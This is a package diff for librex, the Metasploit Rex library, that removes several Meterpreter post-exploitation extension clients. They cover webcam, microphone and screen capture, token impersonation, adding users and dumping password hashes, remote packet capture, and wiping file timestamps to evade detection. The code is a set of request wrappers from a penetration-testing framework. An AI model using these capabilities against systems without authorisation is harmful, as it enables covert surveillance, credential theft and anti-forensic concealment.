librex 0.0.13 → 0.0.15

data/lib/rex/post/meterpreter/dependencies.rb

@@ -1,3 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'rex/post/permission'

data/lib/rex/post/meterpreter/extension.rb

@@ -1,32 +0,0 @@
-#!/usr/bin/env ruby
-
-module Rex
-module Post
-module Meterpreter
-
-###
-#
-# Base class for all extensions that holds a reference to the
-# client context that they are part of.  Each extension also has a defined
-# name through which it is referenced.
-#
-###
-class Extension
-
-	#
-	# Initializes the client and name attributes.
-	#
-	def initialize(client, name)
-		self.client = client
-		self.name   = name
-	end
-
-	#
-	# The name of the extension.
-	#
-	attr_accessor :name
-protected
-	attr_accessor :client # :nodoc:
-end
-
-end; end; end

data/lib/rex/post/meterpreter/extensions/espia/espia.rb

@@ -1,58 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'rex/post/meterpreter/extensions/espia/tlv'
-
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Espia
-
-###
-#
-# This meterpreter extensions interface that is capable
-# grab webcam frame and recor mic audio
-#
-###
-class Espia < Extension
-
-
-	def initialize(client)
-		super(client, 'espia')
-
-		client.register_extension_aliases(
-			[
-				{ 
-					'name' => 'espia',
-					'ext'  => self
-				},
-			])
-	end
-
-	def espia_video_get_dev_image()
-		request = Packet.create_request('espia_video_get_dev_image')
-		response = client.send_request(request)
-		
-		return true
-	end
-	
-	def espia_audio_get_dev_audio(rsecs)
-		request = Packet.create_request('espia_audio_get_dev_audio')
-		request.add_tlv(TLV_TYPE_DEV_RECTIME, rsecs)
-		response = client.send_request(request)
-	
-		return true
-	end
-	
-	def espia_image_get_dev_screen
-		request  = Packet.create_request( 'espia_image_get_dev_screen' )    
-		response = client.send_request( request )
-		if( response.result == 0 )
-			return response.get_tlv_value( TLV_TYPE_DEV_SCREEN )
-		end
-		return nil
-	end
-
-end
-
-end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/espia/tlv.rb

@@ -1,16 +0,0 @@
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Espia
-
-TLV_TYPE_DEV_IMAGE = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 911)
-TLV_TYPE_DEV_AUDIO = TLV_META_TYPE_STRING| (TLV_EXTENSIONS + 912)
-TLV_TYPE_DEV_SCREEN = TLV_META_TYPE_RAW| (TLV_EXTENSIONS + 913)
-TLV_TYPE_DEV_RECTIME = TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 914)
-
-end
-end
-end
-end
-end

data/lib/rex/post/meterpreter/extensions/incognito/incognito.rb

@@ -1,94 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'rex/post/meterpreter/extensions/incognito/tlv'
-
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Incognito
-
-###
-#
-# This meterpreter extensions a privilege escalation interface that is capable
-# of doing things like dumping password hashes and performing local
-# exploitation.
-#
-###
-class Incognito < Extension
-
-
-	def initialize(client)
-		super(client, 'incognito')
-
-		client.register_extension_aliases(
-			[
-				{ 
-					'name' => 'incognito',
-					'ext'  => self
-				},
-			])
-	end
-
-
-	def incognito_list_tokens(token_order)
-		request = Packet.create_request('incognito_list_tokens')
-		request.add_tlv(TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER, token_order)
-
-		response = client.send_request(request)
-		
-		return {
-			'delegation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION),
-			'impersonation' => response.get_tlv_value(TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION) 
-		}
-	end
-
-	def incognito_impersonate_token(username)
-		request = Packet.create_request('incognito_impersonate_token')
-		request.add_tlv(TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN, username)
-		response = client.send_request(request)
-
-		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
-	end
-
-	def incognito_add_user(host, username, password)
-		request = Packet.create_request('incognito_add_user')
-		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
-		request.add_tlv(TLV_TYPE_INCOGNITO_PASSWORD, password)
-		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
-		response = client.send_request(request)
-
-		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
-	end
-
-	def incognito_add_group_user(host, groupname, username)
-		request = Packet.create_request('incognito_add_group_user')
-		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
-		request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
-		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
-		response = client.send_request(request)
-
-		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
-	end
-
-	def incognito_add_localgroup_user(host, groupname, username)
-		request = Packet.create_request('incognito_add_localgroup_user')
-		request.add_tlv(TLV_TYPE_INCOGNITO_USERNAME, username)
-		request.add_tlv(TLV_TYPE_INCOGNITO_GROUPNAME, groupname)
-		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
-		response = client.send_request(request)
-
-		response.get_tlv_value(TLV_TYPE_INCOGNITO_GENERIC_RESPONSE)
-	end
-
-	def incognito_snarf_hashes(host)
-		request = Packet.create_request('incognito_snarf_hashes')
-		request.add_tlv(TLV_TYPE_INCOGNITO_SERVERNAME, host)
-		response = client.send_request(request)
-
-		return true
-	end
-
-end
-
-end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/incognito/tlv.rb

@@ -1,21 +0,0 @@
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Incognito
-
-TLV_TYPE_INCOGNITO_LIST_TOKENS_DELEGATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 2)
-TLV_TYPE_INCOGNITO_LIST_TOKENS_IMPERSONATION        	= TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 3)
-TLV_TYPE_INCOGNITO_LIST_TOKENS_ORDER       	= TLV_META_TYPE_UINT| (TLV_EXTENSIONS + 4)
-TLV_TYPE_INCOGNITO_IMPERSONATE_TOKEN    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 5)
-TLV_TYPE_INCOGNITO_GENERIC_RESPONSE    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 6)
-TLV_TYPE_INCOGNITO_USERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 7)
-TLV_TYPE_INCOGNITO_PASSWORD    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 8)
-TLV_TYPE_INCOGNITO_SERVERNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9)
-TLV_TYPE_INCOGNITO_GROUPNAME    = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 10)
-
-end
-end
-end
-end
-end

data/lib/rex/post/meterpreter/extensions/networkpug/networkpug.rb

@@ -1,57 +0,0 @@
-#!/usr/bin/env ruby
-
-require 'rex/post/meterpreter/extensions/networkpug/tlv'
-
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module NetworkPug
-
-# NetworkPug implements a remote packet recieve/send on a network interface
-# on the remote machine
-
-class NetworkPug < Extension
-
-	def initialize(client)
-		super(client, 'networkpug')
-
-		client.register_extension_aliases(
-			[
-				{ 
-					'name' => 'networkpug',
-					'ext'  => self
-				},
-			])
-	end
-
-	def networkpug_start(interface, filter)
-		request = Packet.create_request('networkpug_start')
-		request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
-		request.add_tlv(TLV_TYPE_NETWORKPUG_FILTER, filter) if(filter and filter != "")
-		response = client.send_request(request)
-
-		channel = nil
-		channel_id = response.get_tlv_value(TLV_TYPE_CHANNEL_ID)
-		
-		if(channel_id)
-			channel = Rex::Post::Meterpreter::Channels::Pools::StreamPool.new(
-				client,
-				channel_id,
-				"networkpug_interface",
-				CHANNEL_FLAG_SYNCHRONOUS
-			)
-		end
-		
-		return response, channel
-	end
-	
-	def networkpug_stop(interface)
-		request = Packet.create_request('networkpug_stop')
-		request.add_tlv(TLV_TYPE_NETWORKPUG_INTERFACE, interface)
-		response = client.send_request(request)	
-	end
-		
-end
-
-end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/networkpug/tlv.rb

@@ -1,15 +0,0 @@
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module NetworkPug
-
-TLV_TYPE_EXTENSION_NETWORKPUG	= 0
-TLV_TYPE_NETWORKPUG_INTERFACE	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 1) 
-TLV_TYPE_NETWORKPUG_FILTER	= TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_NETWORKPUG + TLV_EXTENSIONS + 2)
-
-end
-end
-end
-end
-end

data/lib/rex/post/meterpreter/extensions/priv/fs.rb

@@ -1,118 +0,0 @@
-#!/usr/bin/env ruby
-
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Priv
-
-###
-#
-# This class provides an interface to modifying the file system to avoid
-# detection, such as by modifying extended file system attributes.
-#
-###
-class Fs
-
-	#
-	# Initializes the file system subsystem of the privilege escalation
-	# extension.
-	#
-	def initialize(client)
-		self.client = client
-	end
-
-	#
-	# Returns a hash of the Modified, Accessed, Created, and Entry Modified
-	# values for the specified file path.
-	#
-	def get_file_mace(file_path)
-		request = Packet.create_request('priv_fs_get_file_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
-
-		response = client.send_request(request)
-
-		# Return the hash of times associated with the MACE values
-		begin
-			return {
-				'Modified'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_MODIFIED)),
-				'Accessed'       => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_ACCESSED)),
-				'Created'        => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_CREATED)),
-				'Entry Modified' => Time.at(response.get_tlv_value(TLV_TYPE_FS_FILE_EMODIFIED))
-			}
-		rescue RangeError
-			raise RangeError, "Invalid MACE values"
-		end
-	end
-
-	#
-	# Sets the Modified, Accessed, Created, and Entry Modified attributes of
-	# the specified file path.  If a nil is supplied for a value, it will not
-	# be modified.  Otherwise, the times should be instances of the Time class.
-	#
-	def set_file_mace(file_path, modified = nil, accessed = nil, created = nil,
-		entry_modified = nil)
-		request = Packet.create_request('priv_fs_set_file_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
-		request.add_tlv(TLV_TYPE_FS_FILE_MODIFIED, modified.to_i) if (modified)
-		request.add_tlv(TLV_TYPE_FS_FILE_ACCESSED, accessed.to_i) if (accessed)
-		request.add_tlv(TLV_TYPE_FS_FILE_CREATED, created.to_i) if (created)
-		request.add_tlv(TLV_TYPE_FS_FILE_EMODIFIED, entry_modified.to_i) if (entry_modified)
-
-		client.send_request(request)
-
-		true
-	end
-
-	#
-	# Sets the MACE attributes of the specified target_file_path to the MACE
-	# attributes of the source_file_path.
-	#
-	def set_file_mace_from_file(target_file_path, source_file_path)
-		request = Packet.create_request('priv_fs_set_file_mace_from_file')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, target_file_path)
-		request.add_tlv(TLV_TYPE_FS_SRC_FILE_PATH, source_file_path)
-
-		client.send_request(request)
-
-		true
-	end
-
-	#
-	# Sets the MACE values to the minimum threshold that will cause them to not
-	# be displayed by most all products for a file.
-	#
-	def blank_file_mace(file_path)
-		request = Packet.create_request('priv_fs_blank_file_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, file_path)
-
-		client.send_request(request)
-
-		true
-	end
-
-	#
-	# Recursively set the MACE values to the minimum threshold for the supplied
-	# directory.
-	#
-	def blank_directory_mace(dir_path)
-		request = Packet.create_request('priv_fs_blank_directory_mace')
-
-		request.add_tlv(TLV_TYPE_FS_FILE_PATH, dir_path)
-
-		client.send_request(request)
-
-		true
-	end
-
-protected
-
-	attr_accessor :client # :nodoc:
-
-end
-
-end; end; end; end; end

data/lib/rex/post/meterpreter/extensions/priv/passwd.rb

@@ -1,61 +0,0 @@
-#!/usr/bin/env ruby
-
-module Rex
-module Post
-module Meterpreter
-module Extensions
-module Priv
-
-###
-#
-# This class wraps a SAM hash entry.
-#
-###
-class SamUser
-
-	#
-	# Initializes the class from a hash string like this:
-	#
-	# Administrator:500:aad3b435b51404eeaadfb435b51404ee:31d6cfe0d16de931b73c59d7e0c089c0:::
-	#
-	def initialize(hash_str)
-		self.user_name, self.user_id, self.lanman, self.ntlm = hash_str.split(/:/)
-
-		self.hash_string = hash_str
-	end
-
-	#
-	# Returns the hash string that was supplied to the constructor.
-	#
-	def to_s
-		hash_string
-	end
-
-	#
-	# The raw hash string that was passed to the class constructor.
-	#
-	attr_reader :hash_string
-	#
-	# The username from the SAM database entry.
-	#
-	attr_reader :user_name
-	#
-	# The user's unique identifier from the SAM database.
-	#
-	attr_reader :user_id
-	#
-	# The LM hash.
-	#
-	attr_reader :lanman
-	#
-	# The NTLM hash.
-	#
-	attr_reader :ntlm
-
-protected
-
-	attr_writer :hash_string, :user_name, :user_id, :lanman, :ntlm # :nodoc:
-
-end
-
-end; end; end; end; end